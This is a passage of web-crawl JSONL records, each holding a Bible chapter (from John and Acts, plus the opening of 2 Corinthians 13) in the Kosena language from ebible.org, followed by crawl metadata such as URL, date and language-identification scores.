áráá'o ékai kentirumbá simésino. íma kesí imáyáavinkemba kunkáumpo kwemá si'máráísa'a kunkáumne.\n43 kemó súnda nóra séra íma kwéisaao. kesááigo umbaí kwétiyaiye.\n44 kemá Sáátáánigo áráá'a pó'a kwenarááíma kwaránáe kwésewe. kwemá ááinkakemba tuvúkáiwaiman-iye. árai'o sií-yántáá'á íma kwempímbá kwáyáísana kampa'naampar-áínkómá avowaí'a kwéiye.\n45 miráumai árair-aimba simátimundayavai árair-aimba iyémá íma kwésewe.\n46 íma sáwí'a uráunda kwéisaawe. arupí-aimba simátimuna'anivo íma áraire kwésewe.\n47 Áánútu áráá'a pósa kwenáái isésa máyáavo keinárawa'a íma Áánútu áráá'maari'a uré'a pó'a kwenáái íma ísaraawe Ísu siráiye.\n48 Ísu simásuwowasa Yútaa-anon-kwaasi aká'áámba simánkesa sésa árai'a séta Sámériyaa-kwaasi ónana taraváá-kwámbá enarumpimbá máyáísampo mináímbá siráane suwaná\n49 Ísu séna taraváá-kwámbá íma kesirumpimbá máyáiye. kesivo áwí'a anómba úndanivo kesúwí'a sáwí'a umásínkáawe.\n50 íma kesúwí'a anómba ónáe. Áánútu kentávéna séna kawe'-máyáí mayáánda pó'a enáwí'a mósá anómba umánkanaumne kwésiye.\n51 árai'o senda-áímbá kesáái ísámai kawe'á íyawai íma puwónááowe súwasa\n52 Yútaa-anon-kwaasi sésa sénda-aimba taraváá-kwámbó enarumpimbó máyáimba áta ísaraumne. Ááváramu puwúwasa Áánútun-aai simátímakowaima púwúmbanivo emá se kesáái ísámai kawe'á íyawai íma puwónááowe siráane.\n53 kentáásivo Ááváramu puwúwasa Áánútun-aai simátímakowaima pukáambanivo miwí usáyaaitaniyono. emó sénda náávakendara'ono suwaná\n54 Ísu séna kesúwí'o mósá maráúndarakai úwoi úsina. kesúwí'o mósá maránímba kesivomán-iye. kwentávé'a sé'a kentáásí Ísóigoman-iye kwésewe.\n55 kwembá kwéawanaumpo kemá íma awánaraawe. kemó sé'o íma awánáúmnemo súndarakai kemó ontembá kampa'ná'á maúsino. á'a kwéawane'a pó'a kwenáái mósá kwémaraumne.\n56 kentivo Ááváramu kemó marapá'ó kumónaunda-aimba iséna aamoí éna kembá suwánéna kwenarunkó kawe'á uráiye súwasa\n57 Yútaa-anon-kwaasi sésa emá ívé-kwaasi íma kae-kwááí umái siyáánkai-ima maisukáampo emá séma Ááváramumba awánaraumnewa seénó suwaná\n58 árai'a simátime'a sé'a Ááváramumbo ímo maránkaronka'a kemá maémaundaniye súwasa\n59 mináíntáváí tuvuwónáe sésa óntamba máyómbanivo Ísu aúpá'á anóm-bono'-naumpakemba kárúwaguraiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN8.html","date":"2023-09-25T06:06:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506686.80\/warc\/CC-MAIN-20230925051501-20230925081501-00865.warc.gz","language":"kze","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000050067901611}","num_words":780,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21\nPóro Yérúsaremuva'a kuráin-kwasai.\n1 móruna aúwówata minkwáásíyávéta méwaro séta tiyuwéta nompí-sípívímbá usáateta arupí umái kweémeta Kóso-naopa'a kóyaaiteta kweémeta kógwaeta usá aaváyaavinkaamba Áróso-naopa'a kóyaaiteta kweémeta Pátaraa-naopa'a kuréta marapá'á ásáveta\n2 awánaawandaya Vínísiyaa-marava'a kwíní-nompi-sipi kwáyowata mimpímbá usáateta kweémeta\n3 Sáíparasi-marama siyáánepa'a kwáyowata kóyaaiteta kweémeta Síriyaa-marava'a kówándaya Táyaa-naopa'a náaindaamba mógwéyuwowata marapá'á ásávaawanasaya\n4 Ísuna aampa'á kuwáí máyówata tuwánéta moórá-sontaa miwísé máyaawanasaya sésa Áánútun-amanko simátímakain-aimba Pórontavesa simámesa sésa inkámóvo Yérúsaremuva'a íma kwaaó simáma'maesa íyúwata\n5 miwísé máyaawanda-kanaa ánásowata mindáópa'a tuwéta kówánasaya minkwáásíyómbá miwítí aarai-iyámpóíse sí'maesaya naambáru'a tuwésa uwí-nómpá'á kúmúwata kívaireta Áánútumpa'a námúnaa simásuweta ówánasaya\n6 kentááyávésa ánivo koró suwatá miwíyávéta ánivo méwataao simásuweta nompí-sípívímbá usáataawanasaya miwí kuntauwerésa miwítí naaópa'a iráawe.\n7 miwítí naaópa'a íyúwata nompí-sípívímbá Táyaa-naopata tuwéta Tórémesi-naopata marapá'á ásáveta Ísun-aai ísówai tuwánéta siyáánta kwétimeta moórá-no'waamba miwísé kwaéta\n8 usásineta marapá'á kweémeta Sísáriyaa-naopa'a kówándaya ááéma aantá-kwaasi avakaeté-kwaasira'a Ísuna mayáí tímakowaivinkemba moóráwai áwí'a Vírípina naaúmpata umáyaawananaya kwemá Ísun-aai kwésimatimuwai máyowasa\n9 ayáámúmbaa'a éíyaimba mésa íma kwaaí mairésa úwoi mésa Áánútun-aai kwésimatimesa tivowáe máyówata\n10 évaka'-no'waamba mindáúmpátá kwégwaewananaya moóráwai Áánútun-aai kwésimatimuwai áwí'a Ákápáasi Yútiyaa-maravakemba\n11 kuména Póro ámúr-anda kumbairéna kwenaísamai ayáánka'a asááumai umásítai'a umái agaráárankena séna Áánútun-amanko séna maanámúr-ándáó avowámó Yérúsaremuva'o iyínasamo ésa Yútaa-kwaasi táto'mai miráumai asááúmaresa áí'maesa ó'onkaa-kwaasi mátimenaaowe Áánútun-amanko siráiye Ákápáasi kusúwata\n12 iséta keséya máyón-kwaasiye Pórontaveta séta Yérúsaremuva'a íma iyuwó asiramái séwánanaya\n13 Póro séna nóintavai ivi'á kwétera kaer-ímáyáá kwéumasinkaawana kesirunkó umbaí kwétaiyo. Yérúsaremuva'o íyónasamo kembó tátoranaaomba íma sáá'a kwégaiye. Ísóigo Ísun-aai simátimudayavaimo sínkamonaesamo sésa úwoi sínkamonaaowe Póro súwata\n14 kwenááiya íma kanaán-umaiya araaisénaumne séta ivátuweta séta Ísóigona imáyáara'a mirá ónááowe siráundayaawe.\n15 mirá simásuweta évaka'-no'waamba miwísé kwaéta kentáásí náaindaamba to'mayaa úmaeta mindáópa'a tuwéta Yérúsaremuva'a iyówánasaya\n16 Sísáriyaavaken-kwaasi Ísuna aampa'á kuwáí évaka'a keséya Yérúsaremuva'a iyésa moóráwai áwí'a Nésonona naaúmpata móisinkowana minkwáásígó Sáíparasi-maravaken-kwaasi ayáátááka'a Ísuna aampa'á kwéguwai séna kesí naaúmpa'a ménaaowe súwasa kwená naaúmpata móisinkaraawe.\nPóroe Yémésiye aaí simátímakaayan-kwasai.\n17 móisinkesaya kentí naaópa'a kúmúwata Yérúsaremuva'a umáyaawanasaya Ísun-aai ísówai aamoí kwéumpinkemba sirówata\n18 ugwaéwándaya usá aaváyaavimba Ísóigona kwaásiti anón-kwaasi Yémési torupamátinkowasa máyópata Póro sí'maenaya kúwata komáyaawananaya\n19 Póro ayáámba tíma'mai paruvará éna séna Áánútu ámakaim-bayaimo ó'onkaa-kwaasivimbo mairáin-aimba amápar-aimba simátimuwasa\n20 isésa Áánútu áwí'a mósá marésa Pórontavesa sésa kentáásí kwaásiyo. sáwíva-kwaasi Yútaa-kwaasi Ísun-aaiyavesa áraire kwésesa Mósesina ámáámba íma tuwésa asiramái isésa méraamba á'a ísaraane.\n21 évakarawai miwíyáváí sésa Póro ó'onkaa-kwaasiti naaó'-nao'a kwénaaena Yútaa-kwaasi mindáópaka'a máyáan-kwaasiyavai simátimena séna Mósesina ámáámba ivátuwe'a kentí iyámpói túra'a íma kárámai araa'éna umátinke'a Yútaa-kwaasiti aambá íma kwáráaro Póro kwésiye sewasá isésa\n22 emó tiráanda-aimba isésa áwáá'a kwésevo\n23 simáméndantenta uwó. maanká'á éíyain-kwaasi mésa Áánútumpa'a árair-aimba símakaamba po\n24 egwárá'á mirán-uwo. Yútaa-kwaasiti ámáámba ísámai kawe'ó ií-yántáá'á e minéíyáín-kwáásítí póí'o meéyán-umátiyuwe mono-káwáá-kwáásí timé miwísé a'nóntáu káráyuwenasa awánésa Yútaa-kwaasi Ísun-aaiyavesa áraire sewáí sésa emá Mósesina ámáámba isé máyaanasa entáváí kampar-áímbá simánkaraawe seró.\n25 ánivo ó'onkaa-kwaasi Ísun-aaiyavesa áraire siráawaiyaveta ááéma moórá-aimba séta agaimaréta séta kampar-ísóígóntáváí imáyáa ésa póí'o umándaamba mimpóí íma naaró. naaemá íma naaró. póímo tuvú'newana kwená naaemá ímo kumíndamo úwoimo kwáyáina'a mimpóí íma naaró. aarai-úmóyámbá kwaai-úmóyámbá íma oró. ááéma mináímbá agaimaréta tukáundayaawe suwaná Póro iséna\n26 usá aaváyaavimba minkwáásí tí'maena Yútaa-kwaasiti ámáámba ísámai kawe'ó ií-yántáá'á usá umásuwena Póro anóm-bono'-naumpa'a iyéna mono-káwáá-kwáásíyávéna séna avakaeté-no'waamba maisuwéta Yútaa-kwaasiti ámáámba ísámai kawe'ó ií-yántáá'á umái ánásasuweta moórá-morawai póí'a úmaeta Áánútunka'a máamenaundayaaniye simátímakaiye.\nanóm-bono'-naumpa'a Póromba tátokaan-kwasai.\n27 simátimena máyowana minávákáété-nó'wáámbá ánásowana Póro anóm-bono'-naumpa'a umáyomba évaka'a Yútaa-kwaasi Ésiyaa-maravakewai uawánésa Pórontavesa sáwí-aimba simánkesa inkamí-ímáyáá kwéesa tátokesa anónka'a sésa\n28 Ísareri-kwaasi súwa'naa oro. maankwáásígó naaó'-nao'a kwénaaena Ísareri-kwaasiyavena sáwí-aimba simátinkena Mósesina ámáámba simái sáwí'a kwéumankena maanánóm-bónó'-námbá simái sáwí'a kwéiye. ívé'a ó'onkaa-kwaasi tí'maena maanánóm-bónó'-náúmpá'á Yútaa-kwaasiye su'maimo iyí-náúmpá'á mógwétinkaisana póna maankáwé'-námbá sáwí'a kwéiye sumbá\n29 Évésasi-naopaken-kwaasigo áwí'a Tóvimasi Póroe Yérúsaremuva'a kwénaauwasa awánonka'a pósa imáyáa ésa Póro áí'maena anóm-bono'-naumpa'a móankaraiye-imayaa kampa'á ésa mindáyavesa mináímbá siráawe.\n30 mináímbá anónka'a simásuwowasa mindáópaken-kwaasi mimbórávímbá takwiyésa Póromba tayáto'mai mono'-náúmpákémbá tavisímaesa máá'aruva'a móruna auwésa mono'-nánkóná onta mósá kwéumaresa\n31 sáwíva-kwaasi Póromba inkamír-inkami'a kwéuwana moóráwai Árómáani-i-kwaasiti anóndakontavena usimámena séna Yérúsaremuva'a amápa-kwaasi áái'a kwétiyaawe súwana\n32 avekáán-umai i-kwáásíyé miwítí kawáá-kwáásíyé tí'maena isaaiséna kuména kwaási torupamái máyómpimba tavákáraa'a úmaena kumúwasa i-kwáásíyé miwítí anóndakone tuwánésa inkamé máyómba úwoi máyówana\n33 anóndako Póromba tayátorena i-kwáásíyávéna séna kaer-ándánéí taasááóro simásuwena tísaa ena séna maankwáásí nááwa'iyo. kwe nóra uráiyo súwasa\n34 évakarawai ó'on-o'on-aintavesa suwasá évakarawai mirá suwasá uwaná anóndako mináínkóná ááimba íma iséna i-kwáásíyávéna séna mindá'á áí'mae'a i-kwáásítí naaúmpa'a íyóro súwasa\n35 áí'maesa ontaví-káráúrávámbá íyúmba inkamónáesa kwéuntavai i-kwáásí tiyáánka'a toká'maesa kwéiyuwasa\n36 tínaaemba kwa'maé kwéiyesa tuvuwíyana puwíno símaesa anónka'a iráawe.\nPóro simátímakain-kwasai.\n37 i-kwáásí Póromba áí'maesa miwítí naaúmpa'a iyónáe suwaná Póro miwítí anóndakomba simámena séna moórá-aimba simámenae súwana anóndako séna Kíríki-kwaasi tááivinkemba kwésempo\n38 emá íma Ísípi-maravaken-kwaasi óne. minkwáásígó Árómáani-kamaani-kwaasiyavena aaisambá tiyéna sáwíva-kwaasi 4,000 kwaasi simái tí'maena áái'o tiyáí-yántáá'á maimaésa kavóná-marava'a kuráamba íma kwemá óne súwana\n39 Póro séna Yútaa-kwaasi úne. kesinó kembá Sírísiyaa-marava'a Táásási-naopa'a masínkarena anón-daopa'a masínkaraiye simásuwena séna moórá-aimba simátimenae súwana\n40 anóndako séna ánivo mirán-uwo súwana Póro ontará-káráúrá'á ména aaiseránááontavena ayáámba mósá tuwéna séna kemó senda-áímbá ísáaro súwasa aaisérówana Yútaa-kwaasi tááivinkemba Ípírun-aimpinkemba simátímakaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC21.html","date":"2023-10-03T23:48:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511284.37\/warc\/CC-MAIN-20231003224357-20231004014357-00172.warc.gz","language":"kze","language_score":0.9999693632,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999693632125854}","num_words":746,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24\nYútaa-kwaasi Póromba simánkaraan-kwasai.\n1 kárákwiyuwasa éva'aasei-no'waamba kwaésa aiva'-mónó-káwáánákó áwí'a Ánánáesiye anón-kwaasiye Póromba aaimó simánkénesa Sísáriyaa-naopa'a Víríkísinopa'a kúmúmba moóráwai ámáámba kawe'á umái isón-kwaasi áwí'a Tétárasi kwesé Víríkísinopa'a kumbésa\n2 Póromba ááyowana túwana Tétárasi aaí simánkena anóndakomba simái arumbá airaréna séna kentáásí anóndakoo kawer-ímáyáágwárá-kwáásí po kawe'á umái kárákwiraanata ayáátááka'a paru umáíya máyaumne. ená imáyáavinkemba kawe'á umái súwa'naa ónata maémáyaundayaawe.\n3 kesáá naaó'-nao'a máyaunda-kwaasiya aasiyaasi-táwai entáváí aamoí kwéundayaawe.\n4 íma ayáátáár-aimba sénaumpo embá ávón-kaíyáváinivo ákí-aimba sénaumpo usúká'mai isaaó.\n5 maankwáásígó aosaambá kwimái amápa'-marava'a kwénaaena Yútaa-kwaasi simái tirumbá airáráísasa Násáretivakewaina aampa'á kwégwaresa kwéowana mirámó on-kwáásítí aiva'ná'á ména mirá kwéiye.\n6 mirá kwéena ó'onkaa-kwaasi áí'maena anóm-bono'-naumpa'a móankaraisana ména sáwí'a uráintavaiya maankwáásíyá tátoketa [ kentáásí monor-ánón-kwáásítópa'a aaí simánkanae kwéunanya\n7 i-kwáásítí anóndako áwí'a Árísiya kuména kusínkambaiya siyáámpinkemba Póromba kunáí'maena uména\n8 simásimenaya séna enópa'a móru sénááowe sisatá kwégumundayaawe.] maankwáásígómbó áísaa inanamó éna aaivimbó mayánkaraunda-aimba kwe sína amápar-aimba isaaó Tétárasi súwasa\n9 Yútaa-kwaasi kwembá áwa'naa esa mináímbó simbá árair-aimba siyé siráawe.\nPóro Víríkísimbo mósimamakain-kwasai.\n10 suwaná kámááni-anondakoma aúwanaan-awaame'a éna Pórontavena e siyó súwana Póro séna emó kárákwiyonda ayáátááka'a imá maisu'maé iráanda pó'a enaúranka'a anondá ke aaí sénaundayavai sirunkó aamoí kwéiye.\n11 Áánútuna imáyáa é'a kwenáwí'a mósá máráandayave'a Yérúsaremuva'a umé'a siyáánkai umái kae'-nó'wáámbá ánásaraivo évakarawai tísaa inasá árai'a siyé sénááowe.\n12 anóm-bono'-naumpare sáwíyam-bono'-naumpimpare máá'aruvare íma aaisankáámbá sé'a íma kwaási simái áái'o tiyáí-áímbá siráunda Yútaa-kwaasi suwánaraawe.\n13 kembó simásínkáamba kampa'á sevó mináínkóná ááimba íma kwáyáiye.\n14 avorá'á ke simámenaumne. Ísuna aampa'á kwégwe'a kentáá síkwá'nái Ísóigona imáyáa é'a áwí'a mósá kwémaraunasa Ísuna aantaváí maankwáásíyómbá sésa kampar-ámbán-iye kwésewe. Mósesina ámáámba isé'a Áánútun-aai simátímakowai agaimakón-aimba isé'a áraire kwésune.\n15 miwí sésa Áánútu amáparawai sáwí-kwaasiye kawe-kwáásíyé pukémpinkemba usásintinkaniyemo kwésesa amu'máráantemba kemá mirá kwéune.\n16 mindáyavai kesí imáyáavimba sáwí'an-ivo sé'a Áánútu aúrankare kwaási túrankare kawe'á umái máyaumne.\n17 ánivo ó'on-o'om-barava'a kwénaae'a évakar-ima maisuwé'a Yérúsaremuva'a kesí kwaási íma toómbá makáan-kwaasi óntamba kwétime'o Áánútuntavai ísámai póí'o ondayávé'a iráumne.\n18 mimbáyáí kwémae'o Yútaa-kwaasiti ámáámba ísámai kawe'ó ií-yántáá'á umásuwe'a Áánútuntavai ísámai póí'o ondayávé'a anóm-bono'-naumpa'a umáyaawanasa kesópa'a sáwíva-kwaasi íma tamésa túwaai kwésesa máyówasa Yútaa-kwaasi suwánowasa\n19 évakarawai Yútaa-kwaasi Ésiyaa-maravaken-kwaasi mésa suwánaraawe. sáwí'o uráanasamo suwáresa enaúranka'a simásínkáaro.\n20 monor-ánón-kwáásítópa'a máyaawandara'o sáwí'o uráanasamo suwánaresaraankasi moórá-aine su'mai siráasino. moórá-aine su'maimo senkákáí isáásino.\n21 monor-ánón-kwáásítópa'a máyaawandara'a anónka'a sé'a Áánútu pukén-kwaasimo usásintinkaniyemo siráunda-aintavai ívé'a aaivimbá kwémaisinkaawe séwánasa kemó siráunda-aintavai kwésimasinkaawe Póro siráiye.\n22 súwana Víríkísi Ísuna aampa'á kwégun-aimba á'a ísarena séna i-kwáásítí anóndako áwí'a Árísiya kwemá kumína'a maanáímbá ísámai kawer-ónaumpo koró simásuwena\n23 Póromba kárákwirowaintavena séna ándáva'a kawe'á umái kárákwiye íma aíyayaanka'a asááúmárénasa ímo kwemó makáinda-yantaa'a kwená kwaási áwa'naa ónáe síyamo e úwoi owé sinasá áwa'naa oro Víríkísi siráiye.\nPóro Víríkísinte Túrúsíraante simátímakain-kwasai.\n24 Víríkísi simásuwena ména évaka-tawai maisuwéna awainínkómbá Yútaa-inimba áwí'a Túrúsíraamba áí'maena taména Póromba ááyowana téna séna Ísu Káráísitin-aaiyavai árairemo sésa aráápamai máyáan-ainkona ááimba simátimuwasarai ísóyana\n25 Póro kawer-áínkóná ááimba kwésena ke túra'a kárákwiyi-aimba kwésena Áánútu kwaásimo máyáawaina ááimba tísaa ínín-aimba súwana Víríkísi áá'a kówana séna ánivo kwaaó. naaémbo ímo mayáímó kwáíndara'a ááyanaumne séna\n26 imáyáa éna Póro ándáva'a meéyán-onaná ayúsinkainkwae séna óntamba simína'a ayúrankanaumne-imayaa éna mindáyavena aasiyaasi-táwai Póromba ááyowana túwasarai kwaasái símae irááiye.\n27 kwaasái símae íyúyana kaer-ímá maisuwéna moóráwai áwí'a Pósíyasi Vésétasi kwemá Víríkísina anondá kámááni-mayai usámayanimba ákíse úwana Víríkísi Yútaa-kwaasi tirumbá kawe'á ínkwáe séna Póromba íma ayúránkaraivo úwoi ándáva'a ánkaraiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC24.html","date":"2023-09-26T23:14:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510225.44\/warc\/CC-MAIN-20230926211344-20230927001344-00625.warc.gz","language":"kze","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000039339065552}","num_words":493,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nÁnánáesinte Sáváeraantei kwaasái.\n1 Páánápáasi minóntámbá tímúwasarai moóráwai áwí'a Ánánáesi awainínkó áwí'a Sáváerae mésarai moórá-marama ó'on-kwaasi kwétimesarai óntamba mairésarai\n2 taaináyauyo-aimba awainínkómbá simámuwana mirá íníyone súwana minóntámbá taaínkaar-urena évaka'a kwesáváí maéna évaka'a maimaéna aantá-kwaasi mói tiména kampa'á séna amápa'a timúne súwana\n3 Pítaa séna Ánánáesiyo Sáátáánigo áísaa umai isánáe sintáváí owé se mararákén-óntámbá amápa'a timúne siráanda Áánútun-amankomba kampa'á simáukaane.\n4 mimbárámá ená maramá isa tuwé óntamba mairé ená óntamba isa évaka'a timé íma sáwí'a éma mararákén-óntámbá évaka'a timúne íma sénda amápa'a timúne séndama sáwí'a ómpo íma kwaásiye su'mai kampa'á simátíyukaampo Áánútun-amankomba kampa'á simáukaane Pítaa súwana\n5 Ánánáesi iséna pu'maéna tuvamúwasa mináímbá ísaraan-kwaasi ávááraumai táátavai uwasá\n6 ívé-kwaasi tésa puwúmba taasááúmaesa maimaésa máutaraawe.\n7 máutaawana awainínkó sáwíyanka'a ména awaikómó puwún-aimba íma ísarena Pítaa-iyaitopa'a túwana\n8 Pítaa séna keináraiti mararákén-óntámbá amápara símakaiyo súwana minínínkó séna owé amápa'an-iye kampa'á súwana\n9 Pítaa séna enawaikóe esé mimbórá-ímáyáá ékai Ísóigon-amankomba kampa'á simáu'mai awánayae sirááiye. enawai'ó mágwéutaan-kwaasi tésa embá tamaimaésa máutanaaowe Pítaa súwana\n10 pu'maéna Pítaa aísamaivimba tuvamúwasa ívé-kwaasi tésa puwúmba taawánésa maimaésa awaikómbó utamánkópa'a máutowasa\n11 Ísóigona kwaásiye ó'on-kwaasiye isésa táátavai uráawe.\nó'on-o'om-bayai kawe'-máyáígóná kwaasái.\n12 aantá-kwaasi kwaási túranka'a ó'on-o'om-bayai kawe'-máyáímá maimaésa íyúwasa Ísuna aampa'á kwéguwai anóm-bono'-namba Sórómoni áúgwimai úmakopa'a aasiyaaí torupamái kwémauwasa\n13-14 ó'on-o'on-akwa'a sáwíva'a Ísóigon-aaiyavesa áraire sésa miwísé torupamái maémáémbanivo ó'on-kwaasi tuwánésa sésa kawe-kwáásín-owe sésa táátavai ésa íma miwísé torupamái máyówasa\n15 aantá-kwaasimo uráamba isésa tí'o ún-kwaasi tuvaipímbá taagwiya'maésa naambáru'a mátinkesa sésa Pítaa kwénaaena amankó'naanko taaugwétáínasa asóvaigwae suwasá\n16 ó'on-o'on-daopakemba tí'o ún-kwaasigwara tirumpimbá taraváá-kwámbá máyon-kwaasigwara'a tí'maesa Yérúsaremu-naopa'a mátínkówana Áánútu Pítaamba áwa'naa úwasa amápa'a asóvasaraawe.\nkawáá-kwáásí aantá-kwaasi sáwí'a umátínkaraan-kwasai.\n17 mirá kwéuwana aiva'-mónó-káwáánákóe kwená kwaási Sátúsi-monor-aimbo sun-kwáásíyé sésa amáparawai íma kentáásiraaima kwáráavo aantá-kwaasi tirááíma kwáráawe sésa tíyántavai ésa\n18 táto'mai ándáva'a tiyúwówana\n19 mindó'wáámbá kwáúnka'a Ísóigona kwayó'nákó kwíyómpakendako ontamá tisuwéna tí'maena máápa'a móruntinkena séna\n20 anóm-bono'-naumpa'a umé'a aúná-amba kwaási kawe'á umái maí'mai'a ónááon-ankona ááimba usimátíméro súwasa\n21 isésa irataró'a anóm-bono'-naumpa'a umésa mináímbá simátímakaawe.\nanóm-bono'-naumpa'a moóráva'a kwésimatimuwasa moóráva'a aiva'-mónó-káwáánákóe kwená kwaásiye tésa ándá-kwaasi táái isánáe sésa Ísareri-anon-kwaasi tááyowasa tésa mono'-nánkár-í-kwáásíyávésa sésa aantá-kwaasi ándáva'a máyáavo kotí'mae'a teró suwasá\n22 kumbá íma máyówasa koyauwerésa tésa sésa\n23 ándá-namba ontamá umásuwesa i-kwáásí ontará'á máyáawata onta tisuwéta awánáúndaya íma máyáawata úne suwasá\n24 mono-káwáá-kwáásíyé mono'-nánká'ó kárákwirowaiye isésa táátavai ésa sésa mindá nóraya ónaundaya'iyo simásuwesa sáwívar-imayaa kwéuwana\n25 moóráwai téna séna ándáva'a mátíyukaan-kwaasi anóm-bono'-naumpa'a mésa kwésimatimewa'a tuwánáúmne súwasa\n26 mono'-nánká'ó kárákwirowaiye kwembó áwa'naa un-kwáásíyé kotí'maesa kwempa'á tésa sésa úwoi-kwaasi miwí táái isésa sínkamovo sésa kwempa'á\n27 tí'maesa aaimó isáí-kwáásítópa'a mátínkówana aiva'-mónó-káwáánákó\n28 séna á'a simátimeta séta minkwáásígón-áái kwenáwíka'a íma simátíma'mae'a koróyá siráundaya isa'á á'a simátíméwasa Yérúsaremuvaken-kwaasi amápa'a ísáyaraawa'a ke kampa-kúvímbá sinkéta minkwáásí tuvúkáawe kwésewe aiva'-mónó-káwáánákó súwasa\n29 Pítaa-iyai ó'on-aanta-kwaasiyonkwara'a sésa Áánútun-aai aivar-áínkómá póna kwaási tááigomba usáyaaitaraimba póta kentááiya íya iséta Áánútun-aaiya iséta miráyá ónaumne.\n30 keinárawa'a Ísumba taaira'á inkámúwana puwúwana kentáá síkwá'náona Ísóigo Áánútu Ísumba pukáimpinkemba usásinankena\n31 séna anón-kwaasi póna sáwí'o umáímo máyáampinkemba kawer-ámpá'á métinkaniye séna ayáánúrapa'a asirayán-áyámpá'á móankena Ísareri-kwaasi kentí sáwí-imayaa tuwé'a Áánútunopa'a tíyana kentí sáwí-imayaa maitiyuwáníye séna Áánútu Ísumba pukáimpinkemba usásinankena ayáánúrapa'a asirayán-áyámpá'á móankaraiye.\n32 mináímbá iséta kawe'á umáíya kwésimatimunanaya Áánútun-amanko mináímbá kawe'á umái kwésimatimiye. Áánútuma kwenáái ísámai kawe'á kwéowai kwenamambá kwétimisana Áánútun-amanko mináímbá kwésimatimiye aantá-kwaasi siráawe.\n33 simásúwówasa aaimó isáí-kwáásí isésa tirumbá sáwíte úwasa tínkamonae-imayaa uwaná\n34 miwítí avumpinkémbá moóráwai usásinena ámáán-kawaa-kwaasigo áwí'a Kámérieri kwemá usásinena miwí táái káráyuwena kwemá Áánútun-aai aúváí-kwandaaivinkemba aasiyaasí simáti simati kwéuwasa kwenáwí'a mósá makáawai kwemá usásinena aantá-kwaasiyavena séna sáwíyanka'a máápa'a kumónááowe súwasa máápa'a kúmúwana\n35 séna Ísareri-kwaasiyono. minkwáásíyáváí mirá ónáemo síyamba kakaariyá íma mirá é'a ísáíyuwe'a mirán-oro.\n36 ááéma moóráwai áwí'a Tiutaásí usásinena séna anón-kwaasi únda pó'a kesirááíye sé'a kwaránááowe súwasa sáwíva-kwaasi 400 kwaasi kwarówana moóráwai Tiutaásímbá tuvuwúwana puwúwasa kwembó kwa'maésamo nááún-kwaasi kóyáwé ésa kwená mayáí ivátukaawe.\n37 minkákémbá túwí'o aawásó-tawai moóráwai Kárírivakewai áwí'a Yútási usásinena tááyowasa sáwíva-kwaasi kwenarááíma kwa'maésa kwéguwana moóráwai tuvuwúwana puwúwasa kwembó kwa'maésamo nááún-kwaasi kóyáwé umáguraawe.\n38 mindáyavai imáyáa é'a minkwáásíyómbá íma ándáva'a mátiyuwe'a tíyúwéwasa máéro. miwítí mayáígóná ááimbo marará-kwáásítí imáyáavinkembo énamo éna ánásaniye.\n39 miwítí mayáígóná ááimbo Áánútuna imáyáavinkembo ína'o é'a íma kanaán-umai karánááovo úwoi kwaíkwai'a íníye. Áánútumpakembo ína'o é'a minkwáásí sáwí'o umátinke'o é'a Áánútunkwara'a sáwí'a umánkanaaowe Kámérieri súwasa aaimó isáí-kwáásí isésa kwenááiyavesa owé sésa\n40 aantá-kwaasi tááyowasa íyúwasa túwíruku'a nésa asiramái sésa Ísun-aai kwená asirayámbá íma simátíméro sésa ti'mákaawe.\n41 ti'márówasa kwéesa tigaeyáváí uráasina Áánútu imáyáa timúwana tirunkó kawe'á úwasa sésa Áánútu asirayámbá símakaisata Ísuntaveta asiramáíya máyaundaya pósa sí'o iní'a umásínkáantaanivo sirunkó kawetá isatá máyaumne aantá-kwaasi simásuwesa\n42 aasiyaasi-táwai anóm-bono'-naumpa'a kwaásiti naúmpimpa'a Ísuna áséi-kwasai simátíma'maesa kwénaaesa Áánútumo usásinankaiwai Yútaa-kwaasiya kwéamu'maraundayawai kwemá Ísuman-iye sésa simátíma'maesa kuráawe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC5.html","date":"2023-09-24T04:12:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506559.11\/warc\/CC-MAIN-20230924023050-20230924053050-00182.warc.gz","language":"kze","language_score":0.9999908209,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999908208847046}","num_words":687,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nÍsun-aaiyavai tirunkakémbá áraire simái kárákwiyon-kwasai.\n1 kae-táwai kentópa'a komáyaawandanivo ókwara'a kónaumne. kaumbo-káé-kwaasimo mimbórá-ánká'ó síyan-aimbo éta mináínkómbá arupí ónaundayaawe.\n2 íma aiva-táwaiman-ivo naaén-tawai kentópa'a komáyaawanda sáwí'o uráawaiye amáparawaiye asirayán-áímbá simátímakaumne. ívé'a kentí némpa'o máyaunda mináímbá simátime'a sé'a kentópa'o kondá sáwí'o uráantave'a kogwésimatime'a íma eétínkáanda sáwí-meyamba timénaumne kwésune.\n3 